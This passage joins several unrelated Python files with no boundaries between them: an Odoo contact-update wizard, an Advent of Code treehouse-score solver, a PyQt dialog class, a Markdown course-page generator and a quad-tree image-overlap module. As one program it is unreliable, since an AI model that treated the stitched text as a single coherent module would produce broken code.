    updt_mobile = fields.Boolean(string='Update Mobile', default=False)
    updt_email = fields.Boolean(string='Update Email', default=False)

    # @api.multi
    def _reopen_form(self):
        self.ensure_one()
        action = {
            'type': 'ir.actions.act_window',
            'res_model': self._name,
            'res_id': self.id,
            'view_type': 'form',
            'view_mode': 'form',
            'target': 'new',
        }
        return action

    # @api.multi
    def do_family_contact_information_updt(self):
        self.ensure_one()

        family_count = 0
        for family in self.family_ids:

            family_count += 1

            _logger.info(u'%s %s %s', '>>>>>', family_count, family.name)

            if family.ref_address_id is not False:

                values = {}

                values['street_name'] = family.ref_address_id.street_name
                values['street2'] = family.ref_address_id.street2
                values['country_id'] = family.ref_address_id.country_id.id
                values['state_id'] = family.ref_address_id.state_id.id
                values['city'] = family.ref_address_id.city
                values['zip'] = family.ref_address_id.zip
                if self.updt_phone:
                    values['phone'] = family.ref_address_id.phone
                if self.updt_mobile:
                    values['mobile'] = family.ref_address_id.mobile
                if self.updt_email:
                    values['email'] = family.ref_address_id.email

                _logger.info(u'%s %s %s', '>>>>>>>>>>', 'values:', values)

                family.write(values)

        return True


def treehouseScore(x_loc, y_loc, treehouse_height):
    _to_right_score = 0
    _to_left_score = 0
    _to_up_score = 0
    _to_down_score = 0

    # check to right
    for _col in range(x_loc+1, len(tree_heights[0])):
        _to_right_score += 1
        if tree_heights[y_loc][_col] >= treehouse_height:
            break

    # check to left
    for _col in range(x_loc-1, -1, -1):
        _to_left_score += 1
        if tree_heights[y_loc][_col] >= treehouse_height:
            break

    for _row in range(y_loc+1, len(tree_heights)):
        _to_down_score += 1
        if tree_heights[_row][x_loc] >= treehouse_height:
            break

    for _row in range(y_loc-1, -1, -1):
        _to_up_score += 1
        if tree_heights[_row][x_loc] >= treehouse_height:
            break

    if (y_loc == 1 and x_loc == 2) or (y_loc == 3 and x_loc == 2):
        print(f"(row: {y_loc}, col: {x_loc})")
        print([_to_up_score, _to_left_score, _to_right_score, _to_down_score])

    return _to_right_score * _to_left_score * _to_up_score * _to_down_score

file = open("day_08_input.txt", "r")
data = file.read().strip().split("\n")
file.close()

tree_heights = []

for line in data:
    tree_heights.append([int(_x) for _x in line])

max_score = -1

for _row in range(1,len(tree_heights)-1):
    print(f"Checking row {_row+1}")
    for _col in range(1,len(tree_heights)-1):
        _s = treehouseScore(_col, _row, tree_heights[_row][_col])

        if (_row == 1 and _col == 2) or (_row == 3 and _col == 2):
            print(_s)

        if _s > max_score:
            max_score = _s

print(max_score)


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PyQt5.QtCore import Qt
from PyQt5.QtWidgets import QDialog

from src.rightClickHelper.component.elePyWidget import ElePyWidget, watchProperty
from src.rightClickHelper.tool.effectTool import EffectTool
from src.rightClickHelper.tool.widgetTool import WidgetTool

class ElePyDialog(
    QDialog, ElePyWidget
):
    def __init__(self, parent=None, properties: dict = None):
        if properties is None: properties = {}
        super().__init__(parent, {
            'shadowRadius': 10
            , 'shadowColor': Qt.gray
            , **properties
        })

    @watchProperty({
        'shadowColor': {'type': int},
        'shadowRadius': {'type': int},
    })
    def shadowChange(self, newVal, oldVal, name):
        EffectTool.setBlur(
            self
            , shadowRadius=WidgetTool.getProperty('shadowRadius', 10)(self)
            , shadowColor=WidgetTool.getProperty('shadowColor', Qt.gray)(self)
        )


import json
import string
import os

law_suffix = "law"
courses_json = "./courses.json"
grade_urls = [
    "/courses/grade-1/", "/courses/grade-2/",
    "/courses/grade-3/", "/courses/grade-4/"
]
# grade_urls = [
#     "/courses_maphd/1/"
# ]

grade_dirs = ["." + x for x in grade_urls]

def int_2_hashstring(param1):
    param1 = int(param1)
    ret = ""
    tmp = []
    for each in string.ascii_letters:
        tmp.append(each)
    for each in string.digits:
        tmp.append(each)
    while param1 > 0:
        ret = ret + tmp[param1 % len(tmp)]
        param1 = param1 // len(tmp)
    return ret

course_page_template = """
# {course_id} {course_name}

本课程页面暂无内容，期待大家的共同建设\\~🔥

如果你愿意提供任何信息与观点，请在下方评论区留言，网站维护者会在第一时间看到，且会酌情将其添加为本课程页面的内容⚡
"""

entry_template = "- [{course_id} {course_name}]({grade_url}{hashed_course_id})\n"

IsSuitableForLaw = False
IsSuitableForLaw = int(input("please input a number for option: 0 for cs, 1 for law:\n"))

if IsSuitableForLaw == 1:
    courses_json = courses_json.replace("courses", "courses" + "_" + law_suffix)

with open(courses_json, encoding="utf8") as f:
    courses = json.load(f)

# basic data validation
assert len(courses) == len(grade_urls)
assert all(isinstance(x, dict) for x in courses)

for i in range(len(grade_urls)):
    # print(IsSuitableForLaw)
    if IsSuitableForLaw == 1:
        grade_dirs[i] = grade_dirs[i].replace("courses", "courses" + "_" + law_suffix)
        grade_urls[i] = grade_urls[i].replace("courses", "courses" + "_" + law_suffix)
    # print(grade_urls[i], grade_dirs[i], courses[i])

    grade_courses, grade_dir, grade_url = courses[i], grade_dirs[i], grade_urls[i]

    readme = open(os.path.join(grade_dir, "README.md"),
                  mode="a", encoding="utf8")
    sidebar = open(os.path.join(grade_dir, "_sidebar.md"),
                   mode="a", encoding="utf8")
    for course_id in sorted(grade_courses.keys()):  # sort by course ID
        course_name = grade_courses[course_id]
        # hashed_course_id = int_2_hashstring(course_id)
        hashed_course_id = course_id
        course_path = os.path.join(
            grade_dir, hashed_course_id.replace("/", "-") + ".md")
        if not os.path.exists(course_path):
            with open(course_path, "w", encoding='utf8') as page:
                page.write(course_page_template.format(
                    course_id=course_id, course_name=course_name)
                )
        readme.write(entry_template.format(
            course_id=course_id, course_name=course_name, grade_url=grade_url, hashed_course_id=hashed_course_id
        ))
        sidebar.write(entry_template.format(
            course_id=course_id, course_name=course_name, grade_url=grade_url, hashed_course_id=hashed_course_id
        ))


from compress_and_store_image import deserialize_slow
from compress_and_store_image import serialize_slow
import time

normal_count = 0
dye_count = 0
start_time = 0
end_time = 0
normal_count_fast = 0
dye_count_fast = 0
start_time_fast = 0
end_time_fast = 0
#########################################################################################################
## region_type -> pure_black(all black), pure_white(all white), impure(black and white)
class Quad():
    '''
    Datastructure to store the black and white image
    '''
    def __init__(self, start_row, start_col, end_row, end_col, region_type, tl=None, tr=None, bl=None, br=None):
        self.start_row = start_row  ## start row of the Quad()
        self.start_col = start_col  ## start col of the Quad()
        self.end_row = end_row  ## end row of the Quad()
        self.end_col = end_col  ## end col of the Quad()
        self.region_type = region_type  ## pure_white, pure_black, impure
        self.tl = tl  ## top left box
        self.tr = tr  ## top right box
        self.bl = bl  ## bottom left box
        self.br = br  ## bottom right box
#########################################################################################################
def find_colored_area(input_tree):
    '''
    Finds number of black pixels under the given Quad() subtree
    Input Parameters : input_tree (Quad() for which number of black pixels is to be counted)
    Output : Number of black pixels
    '''
    if input_tree == None or input_tree.region_type=="pure_white":
        return 0

    elif input_tree.region_type == "pure_black":
        return (input_tree.end_row+1 - input_tree.start_row) * (input_tree.end_col+1 - input_tree.start_col)

    else:
        return find_colored_area(input_tree.tl) + find_colored_area(input_tree.tr) + find_colored_area(input_tree.bl) + find_colored_area(input_tree.br)
#########################################################################################################
def find_overlap_slow(normal_quad_tree, dye_quad_tree):
    '''
    Finds overlap of black pixels in two quad trees
    Input Parameters : normal_quad_tree (Quad tree of normal microscope image)
                       dye_quad_tree (Quad tree of dye microscope)
    Output : None
    '''
    global normal_count
    global dye_count
    global start_time
    global end_time

    start_time = time.time()
    ## if mircoscopre quad tree is empty there is no overalp
    if normal_quad_tree is None or normal_quad_tree.region_type == "pure_white":
        return

    ## if normal microscope quad tree is pure black
    ## overlap is number of black nodes in dye quad tree
    elif normal_quad_tree.region_type == "pure_black":
        normal_count+=find_colored_area(normal_quad_tree)
        if dye_quad_tree.region_type == "pure_black":
            dye_count+=find_colored_area(dye_quad_tree)

        elif dye_quad_tree.region_type == "pure_white":
            return

        else:
            dye_count+=find_colored_area(dye_quad_tree)

    ## if normal microscope quad tree is impure
    ## overlap is the set of nodes that are black both in normal_quad_tree and dye_quad_tree
    elif normal_quad_tree.region_type == "impure":
        if dye_quad_tree.region_type == "pure_black":
            ans = find_colored_area(normal_quad_tree)
            normal_count+=ans
            dye_count+=ans
        elif dye_quad_tree.region_type == "pure_white":
            normal_count+=find_colored_area(normal_quad_tree)
        else:
            find_overlap_slow(normal_quad_tree.tl, dye_quad_tree.tl)
            find_overlap_slow(normal_quad_tree.tr, dye_quad_tree.tr)
            find_overlap_slow(normal_quad_tree.bl, dye_quad_tree.bl)
            find_overlap_slow(normal_quad_tree.br, dye_quad_tree.br)

    return
#########################################################################################################
def find_overlap_fast(normal_quad_tree, dye_quad_tree):
    '''
    Finds overlap of black pixels in two quad trees using the deserialization_fast
    Input Parameters : normal_quad_tree (Quad tree of normal microscope image)
                       dye_quad_tree (Quad tree of dye microscope)
    Output : None
    '''
    global normal_count_fast
    global dye_count_fast
    global start_time_fast
    global end_time_fast

    start_time_fast = time.time()
    ## if mircoscopre quad tree is empty there is no overalp
    if normal_quad_tree is None or normal_quad_tree.region_type[0] == "pure_white":
        return

    ## if normal microscope quad tree is pure black
    ## overlap is number of black nodes in dye quad tree
    elif normal_quad_tree.region_type[0] == "pure_black":
        normal_count_fast+=normal_quad_tree.region_type[1]
        if dye_quad_tree.region_type[0] == "pure_black":
            dye_count_fast+=dye_quad_tree.region_type[1]

        elif dye_quad_tree.region_type[0] == "pure_white":
            return

        else:
            dye_count_fast+=dye_quad_tree.region_type[1]

    ## if normal microscope quad tree is impure
    ## overlap is the set of nodes that are black both in normal_quad_tree and dye_quad_tree
    elif normal_quad_tree.region_type[0] == "impure":
        if dye_quad_tree.region_type[0] == "pure_black":
            normal_count_fast+=normal_quad_tree.region_type[1]
            dye_count_fast+=normal_quad_tree.region_type[1]
        elif dye_quad_tree.region_type[0] == "pure_white":
            normal_count_fast+=normal_quad_tree.region_type[1]
        else:
            find_overlap_fast(normal_quad_tree.tl, dye_quad_tree.tl)
            find_overlap_fast(normal_quad_tree.tr, dye_quad_tree.tr)
            find_overlap_fast(normal_quad_tree.bl, dye_quad_tree.bl)
            find_overlap_fast(normal_quad_tree.br, dye_quad_tree.br)

    return
#########################################################################################################
def get_stats_slow():
    '''
    Gets the Stats of the find_overlap_slow
    Input Parameters : None
    Output : percent of dye in microorganisms body, execution time of the find_overlap_slow function
    '''
    global normal_count
    global dye_count
    global start_time
    global end_time

    end_time = time.time()
    return (dye_count/normal_count) * 100, end_time - start_time
#########################################################################################################
def get_stats_fast():
    '''
    Gets the Stats of the find_overlap_fast
    Input Parameters : None
    Output : percent of dye in microorganisms body, execution time of the find_overlap_slow function
    '''
    global normal_count_fast
    global dye_count_fast
    global start_time_fast
    global end_time_fast

    end_time_fast = time.time()
    return (dye_count_fast/normal_count_fast) * 100, end_time_fast - start_time_fast
#########################################################################################################